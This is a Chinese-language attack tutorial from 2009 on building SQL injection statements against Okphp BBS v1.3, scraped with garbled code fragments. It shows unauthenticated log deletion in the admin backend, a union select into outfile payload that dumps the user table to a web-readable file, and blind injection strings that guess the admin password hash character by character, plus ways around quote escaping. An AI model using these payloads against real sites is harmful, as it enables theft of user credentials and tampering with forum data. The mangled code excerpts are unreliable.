攻击思路方法:谈php+mysql注射语句构造来源: 发布时间:星期四, 2009年9月24日 浏览:0次 评论:0
.前言: 版本信息:Okphp BBS v1.3 日志记录漏洞(ps:这个好象和php+mysql注射无关随便提下)
okphp后台好象写得很马虎所有文件都没有判断管理员是否已经登陆以至于任意访问我们看list.php代码: $arr = .gif' />("del_log","log_id","del_id"); get_r($arr); // ($del_log) { 省略........ ($log_id) { foreach ($log_id as $val) { $q = "delete from $log_table where id='$val'"; $res = sql_query($q,$conn); ($res) { $i; } } } ($del_id) { $q = "delete from $log_table where id='$del_id'"; $res = sql_query($q,$conn); } $tpl->Variable("message","$i log deleted ok!"); $tpl->Variable("action","index.php?action=list_log"); } 代码就只简单用get_r($arr);判断提交参数我们只要提交相应$del_log$log_id$del_id就回删除成功 4.多个文件对变量没有过滤导致sql注射漏洞 okphp作者好象都不喜欢过滤:)基本上所有sql语句中变量都是“赤裸裸”具体那些文件我就不列出来了请自己看代码我这里就用\forums\list_threads.php为例子简单谈下 看list_threads.php代码: $q = "select name,belong_id,moderator,protect_view,type_,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id'"; $res = sql_query($q,$conn); $row = sql_fetch_row($res); 变量$forum_id没有过滤mysql不支持子查询我们可以利用union构造语句进行联合查询(要求MySQL版本在4.00以上)实现跨库操作我们构造如下: 构造1:利用 SELECT * FROM table INTO OUTFILE '/path/file.txt'(要求mysql有file权限注意在win系统中要绝对路径如:c://path//file.txt )把所查询内容输入到file.txt然后我们可以通http://ip/path/file.txt来访问得到查询结果上面我们可以这样构造$forum_id: $forum_id=' union select * from user_table o outfile '/path/file.txt' 以下: $q = "select name,belong_id,moderator,protect_view,type_,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' union select * from user_table o outfile '/path/file.txt'"; 上面办法要求比较苛刻必须得到web路径(般可以通过提交变量使mysql报错而得到)而且phpmagic_gpc=on选项使注入中不能出现单引号如果magic_gpc=on我们也可以绕过: 构造2:就象asp跨库查询样直接利用union select构造语句使返回结果区别来猜解这种思路方法可以绕过单引号(magic_gpc=on)继续注射不过在php里这种注射相对困难根据具体代码而定具体语句构造请参考pinkeyes 文章php注入例子下面我就结合okphp给个利用“返回结果区别”注射例子:(见漏洞5) 5.admin/login.php和users/login.php通过sql语句构造可以猜解得到指定用户密码hash:(其实这个和漏洞1和2是同个这里单独拿出来主要是介绍说明语句构造思路方法) 问题代码同漏洞1 语句构造(ps:语句本身就是对用户库操作就没必要用union了): $username=admin' AND LENGTH(password)=6# sql语句变成: $q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6#' and password='$password'" 相当于: $q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6'" 如果LENGTH(password)=6成立则正常返回如果不成立mysql就会报错 这样我们就可以猜解用户admin密码hash了如$username=admin' ord(sub(password,1,1))=57# 可以猜用户密码第位ascii码值............ TAG: mysql MySQL Mysql MYSQL MySQl 语句 PHP php 构造 注射 0
相关文章读者评论发表评论 |
|